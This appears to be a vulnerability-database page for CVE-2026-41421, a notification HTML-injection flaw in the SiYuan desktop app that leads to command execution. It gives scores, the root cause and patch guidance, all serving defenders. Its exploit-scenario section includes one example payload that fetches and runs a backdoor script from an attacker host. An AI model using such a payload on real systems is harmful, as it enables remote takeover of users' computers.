Skip to main content

SiYuan EUVDEUVD-2026-25614

| CVE-2026-41421 HIGH
OS Command Injection (CWE-78)
2026-04-24 GitHub_M
8.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain local credentials
  2. Delivery
    Authenticate to SiYuan API
  3. Exploit
    POST malicious HTML to /api/notification/pushMsg
  4. Install
    Frontend renders payload with insertAdjacentHTML()
  5. C2
    JavaScript executes with Node.js context
  6. Execute
    Invoke child_process or fs modules
  7. Impact
    Execute arbitrary system commands

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated local access to a SiYuan desktop installation running version 3.6.4 or earlier on Windows, macOS, or Linux. The attacker must possess valid SiYuan user credentials to authenticate API requests to the /api/notification/pushMsg endpoint. Exploitation further requires either direct local system access to make API calls or the ability to deliver malicious payloads through SiYuan's plugin ecosystem, workspace synchronization, or imported knowledge base files. The vulnerable Electron configuration (nodeIntegration: true, contextIsolation: false, webSecurity: false) is present in default installations and does not require special user opt-in. User interaction is NOT required (UI:N in CVSS) once the notification message is injected, as the frontend automatically renders all broadcast notifications. Web-only deployments or instances with API access restrictions may limit exploitability, but default desktop installations meet all prerequisites for exploitation given local authenticated access.

Impact

CVSS 8.8 (High) accurately reflects the technical severity: Local vector (AV:L) requiring low-privilege authentication (PR:L) but no user interaction (UI:N), with scope change (S:C) and complete CIA impact (C:H/I:H/A:H). The scope change is justified because the exploit breaks out of the Electron sandbox to execute OS-level commands. However, real-world exploitability is constrained by the local attack vector and authentication requirement - an attacker must already have local access and valid SiYuan credentials. This is not a remote unauthenticated attack despite the RCE outcome. The vulnerability is NOT in CISA KEV, indicating no confirmed active exploitation in the wild. No EPSS score is provided in the intelligence data, but the local-only vector typically correlates with lower mass-exploitation probability. The availability of a vendor patch (3.6.5) since early in the vulnerability lifecycle reduces window of exposure for organizations with active patching. Primary risk scenarios are insider threats, supply chain attacks targeting SiYuan configurations, or privilege escalation in already-compromised environments. For single-user desktop deployments, the authentication requirement significantly reduces remote threat actor risk, but malicious plugins, workspace imports, or shared knowledge bases could deliver payloads. This is a genuine high-severity issue requiring patching, but not a critical-urgency internet-facing exposure.

Exploit ScenarioDerived

An authenticated attacker with local access to a SiYuan desktop installation crafts a malicious API request to POST /api/notification/pushMsg containing embedded JavaScript payloads in the msg parameter, such as <img src=x onerror="require('child_process').exec('curl attacker.com/backdoor.sh | bash')">. When the application broadcasts this notification and the frontend renders it via insertAdjacentHTML(), the injected script executes with full Node.js privileges due to nodeIntegration: true, spawning a reverse shell or installing persistent malware. The attacker could deliver this payload through shared workspace synchronization, malicious plugin installation, or by exploiting another local vulnerability to inject the API call. No public proof-of-concept is confirmed, but the attack pattern is straightforward for anyone with local credentials.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 24, 2026

Authenticated local users can execute arbitrary code on Windows, macOS, and Linux via HTML injection in SiYuan desktop notification messages through version 3.6.4. The Electron-based desktop application mishandles notification rendering with unsafe settings (nodeIntegration enabled, contextIsolation disabled, webSecurity disabled), escalating XSS to full system compromise. Vendor-released patch available in version 3.6.5. No evidence of active exploitation (not in CISA KEV) or public exploit code at time of analysis.

RemediationAI

Upgrade SiYuan desktop to version 3.6.5 or later immediately. The vendor patch addresses the root cause by implementing proper input sanitization for notification messages and/or adjusting Electron security settings to enable contextIsolation and disable nodeIntegration in renderer processes. Download the fixed release from the official SiYuan GitHub releases page or project website. If immediate patching is not possible, implement these compensating controls with noted trade-offs: (1) Restrict /api/notification/pushMsg endpoint access through network ACLs or application-layer authentication to prevent unauthorized message injection - this requires modifying reverse proxy or application configuration and may break legitimate notification workflows from plugins or integrations. (2) Disable or restrict third-party plugin loading until patching, as plugins are a common delivery mechanism for malicious notification payloads - this breaks plugin-dependent workflows. (3) Run SiYuan desktop in a sandboxed environment (AppArmor, SELinux, or containerized deployment) to limit command execution impact - this requires infrastructure changes and may interfere with filesystem access for knowledge base storage. None of these mitigations fully eliminate the vulnerability; upgrading to 3.6.5 is the only complete remediation. Refer to vendor advisory GHSA-grjj-6f6g-cq8q for additional context.

Affected VersionsENISA

SiYuan < 3.6.5

Affected Packages

euvd siyuan fix: 3.6.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SiYuan is an Electron-based personal knowledge management system written in TypeScript and Go. The vulnerability stems from insecure Electron window configuration combined with unvalidated HTML rendering. The backend API endpoint /api/notification/pushMsg accepts user-controlled msg parameters, broadcasts them through the application's messaging layer, and the frontend message.ts module renders notifications using insertAdjacentHTML() without sanitization. Critically, the Electron windows are initialized with three dangerous flags in main.js: nodeIntegration: true (allows Node.js API access from renderer), contextIsolation: false (disables context separation between app code and web content), and webSecurity: false (bypasses same-origin policy). This configuration transforms ordinary DOM-based XSS into a full Remote Code Execution primitive, as injected JavaScript can directly invoke require('child_process').exec() and similar Node APIs. The CWE-78 classification (OS Command Injection) reflects this escalation path from HTML injection to arbitrary command execution. The affected CPE string cpe:2.3:a:siyuan-note:siyuan indicates all desktop platforms (Windows, macOS, Linux) running the Electron build are vulnerable, as these unsafe Electron settings apply universally across platforms.

Know when Siyuan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch released
Apr 27, 2026 - 18:53 nvd
Patch available
Patch available
Apr 24, 2026 - 21:02 EUVD
CVE Published
Apr 24, 2026 - 18:53 nvd
HIGH 8.8

DescriptionGitHub Advisory

SiYuan is an open-source personal knowledge management system. Prior to 3.6.5, SiYuan desktop renders notification messages as raw HTML inside an Electron renderer. The notification route POST /api/notification/pushMsg accepts a user-controlled msg value, forwards it through the backend broadcast layer, and the frontend inserts it into the DOM with insertAdjacentHTML(...) at message.ts. On desktop builds, this is not limited to ordinary XSS. Electron windows are created with nodeIntegration: true, contextIsolation: false, and webSecurity: false at main.js. As a result, JavaScript executed from the notification sink can directly access Node APIs and escalate to desktop code execution. This vulnerability is fixed in 3.6.5.

Executive ViewAI

Why It Matters

SiYuan desktop application versions 3.6.4 and earlier contain a critical vulnerability allowing authenticated local users to achieve arbitrary code execution through malicious HTML in desktop notifications, affecting Windows, macOS, and Linux endpoints. This vulnerability directly compromises endpoint security and user data on all systems where SiYuan is installed, requiring immediate attention from IT and security teams managing these assets.

Business Impact: High
Compensating Controls

Apply vendor patch (version 3.6.5 or later). If immediate patching is unavailable: restrict SiYuan usage to non-privileged user accounts, disable local network access where operationally feasible, monitor endpoint logs for unexpected process execution from SiYuan, and consider disabling SiYuan desktop notifications in application settings pending patch deployment.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Siyuan

View all
CVE-2026-69083 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan's fullTextSearchAssetContent endpoint lets unauthenticated attackers and holders of publish Role

CVE-2026-54067 CRITICAL POC
9.9 Jun 24

Stored cross-site scripting in SiYuan personal knowledge management before 3.7.0 lets an attacker with write access to a

CVE-2026-69084 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan personal knowledge management (versions <= v3.7.2) lets attackers pass arbitrary SQL statements

CVE-2026-54158 CRITICAL POC
9.9 Jun 24

Stored cross-site scripting in SiYuan's attribute-view (database) cell renderer, affecting all versions prior to 3.7.0,

CVE-2026-69085 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan personal knowledge-management software (all versions before v3.7.3) lets attackers inject arbitr

CVE-2024-53507 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems. Rated critical severity (CVSS 9.8), t

CVE-2024-53506 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs. R

CVE-2024-53505 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent. Rated criti

CVE-2024-53504 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory. Rated c

CVE-2026-23852 CRITICAL POC
9.6 Jan 19

SiYuan personal knowledge management system prior to 3.5.4 has a stored XSS vulnerability (CVSS 9.6) that allows code ex

CVE-2026-56397 CRITICAL POC
9.4 Jun 21

Remote code execution in SiYuan note-taking application (before v3.6.1) allows any malicious Bazaar marketplace package

CVE-2026-54069 CRITICAL POC
9.2 Jun 24

Origin-validation bypass in SiYuan Note (open-source personal knowledge management) before 3.7.0 lets any installed Chro

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy